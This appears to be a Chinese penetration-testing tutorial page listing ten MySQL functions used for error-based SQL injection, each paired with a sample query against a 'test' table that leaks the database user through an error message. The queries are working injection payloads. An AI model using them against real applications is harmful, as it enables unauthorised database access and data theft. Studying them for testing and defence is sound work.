渗透之路基础 — SQL注入

------正文内容展示,开始汲取新知识啦------

常用十大报错函数

  • floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  • extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  • updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
  • geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
  • multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
  • polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  • multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  • linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  • multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  • exp()
select * from test where id=1 and exp(~(select * from(select user())a));

1 2 3 4 5 6 7 8 9

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞538赞赏 分享
抢沙发

请登录后发表评论

    暂无评论内容